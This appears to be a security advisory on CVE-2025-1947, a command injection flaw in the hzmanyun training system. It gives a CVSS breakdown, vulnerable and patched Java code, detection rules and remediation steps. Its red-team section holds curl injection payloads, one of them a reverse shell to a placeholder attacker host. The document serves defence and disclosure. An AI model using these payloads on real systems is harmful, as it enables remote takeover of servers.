CVE-2025-1947

Executive Summary

CVE-2025-1947 is a critical command injection vulnerability in the hzmanyun Education and Training System version 2.1.3. The flaw resides in the scorm function of UploadImageController.java, where the param argument is unsafely passed to a system command without proper sanitization. An unauthenticated remote attacker can exploit this to execute arbitrary operating system commands on the server, leading to full compromise of the application and underlying host. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a custom Java application vulnerability. However, organizations using this system should treat it as a critical supply chain risk due to the lack of a vendor patch.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full system modification.
• Availability Impact: High (A:H) – Potential denial of service.

Threat Level: Critical. Immediate action required.

Deep Dive & Mechanics

The vulnerability exists in the UploadImageController.java file, specifically within the scorm method. This method is designed to handle SCORM package uploads. The param argument, likely intended to specify a file path or configuration parameter, is directly concatenated into a command string that is executed via Runtime.exec() or similar Java API.

Root Cause: The application fails to validate or sanitize user-supplied input before using it in a system command. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary commands.

Attack Flow:

1. Attacker sends a crafted HTTP request to the vulnerable endpoint (e.g., /upload/scorm).
2. The param parameter contains malicious payload, e.g., ;id.
3. The server constructs a command like: scorm_processor.sh --param ;id.
4. The shell interprets ;id as a separate command, executing id on the server.
5. Output is returned to the attacker or used for further exploitation.

Affected Component: UploadImageController.java – scorm function.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

public void scorm(String param) {
    String cmd = "scorm_processor.sh --param " + param;
    Runtime.getRuntime().exec(cmd);
}

Patched Code (Conceptual):

public void scorm(String param) {
    // Validate input against a whitelist
    if (!param.matches("[a-zA-Z0-9_\\-\\.]+")) {
        throw new IllegalArgumentException("Invalid parameter");
    }
    // Use ProcessBuilder to avoid shell injection
    ProcessBuilder pb = new ProcessBuilder("scorm_processor.sh", "--param", param);
    pb.start();
}

Key Differences:

• Input validation using a strict regex whitelist.
• Use of ProcessBuilder with separate arguments to prevent shell interpretation.
• No direct string concatenation into a command.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running hzmanyun Education and Training System 2.1.3.
• Network access to the vulnerable endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /upload/scorm).
2. Craft a POST request with the param parameter containing a command injection payload.
3. Execute commands to exfiltrate data or establish persistence.

Example Payload (using curl):

curl -X POST "http://target.com/upload/scorm" \
  -d "param=;id"

Advanced Payload (reverse shell):

curl -X POST "http://target.com/upload/scorm" \
  -d "param=;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Note: No public exploit code from Exploit-DB was provided. The above is a generic example based on the vulnerability description.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /upload/scorm for unusual param values containing shell metacharacters (;, |, &, `).
• Analyze server logs for unexpected command execution (e.g., id, whoami, cat /etc/passwd).
• Use network monitoring to detect outbound connections from the application server to unknown IPs.

Honeypot:

• Deploy a decoy endpoint mimicking the vulnerable controller to capture attacker payloads.

Containment:

• Immediately isolate the affected server from the network.
• Block inbound traffic to the vulnerable endpoint at the WAF or firewall.
• Review and rotate all credentials stored on the server.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /upload/scorm with param containing shell metacharacters.
• Outbound connections from the server to suspicious IPs on ports 4444, 1337, or 8080.
• Unusual DNS queries for command-and-control domains.

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/ (e.g., exploit.sh, reverse.sh).
• Modified system binaries (e.g., ls, ps) indicating rootkit installation.
• New cron jobs or systemd services.

Process IOCs:

• Processes spawned by the Java application (e.g., bash, sh, nc, python).
• High CPU usage from unknown processes.

Log IOCs:

• Application logs showing Runtime.getRuntime().exec calls with suspicious arguments.
• System logs (auth.log, syslog) showing failed login attempts or privilege escalation.

Detection Engineering

YARA Rule

rule CVE_2025_1947_CommandInjection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-1947"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1947"
    strings:
        $s1 = "scorm" ascii wide nocase
        $s2 = "UploadImageController" ascii wide nocase
        $s3 = "param=" ascii wide nocase
        $s4 = /[;&|`$(){}]/
    condition:
        all of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: CVE-2025-1947 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests targeting the vulnerable scorm endpoint with command injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/upload/scorm'
        cs-uri-query|contains: 'param='
        cs-uri-query|re: '.*[;&|`$(){}].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in parameter values (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1947 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload/scorm"; http_uri; content:"param="; http_client_body; pcre:"/[;&|`$(){}]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the network to prevent exploitation.
2. Apply virtual patching via WAF rules to block requests containing shell metacharacters in the param parameter.
3. Disable the vulnerable endpoint if not essential.

Long-term Fix:

• Vendor Patch: Contact hzmanyun for an official patch. If unavailable, consider migrating to a different platform.
• Code Fix: Implement input validation and use ProcessBuilder with separate arguments as shown in the patched code example.
• Security Hardening: Run the application with the least privileges necessary. Use a dedicated service account with restricted permissions.

Compromise Assessment:

• Perform a full forensic analysis of the affected server.
• Check for backdoors, unauthorized accounts, and data exfiltration.
• Review all logs for signs of lateral movement.

Preventive Measures:

• Implement a Web Application Firewall (WAF) with OWASP ModSecurity Core Rule Set.
• Conduct regular security audits and penetration testing.
• Enforce strict input validation for all user-supplied data.

Report generated by Valters IT DevSecOps & CTI Division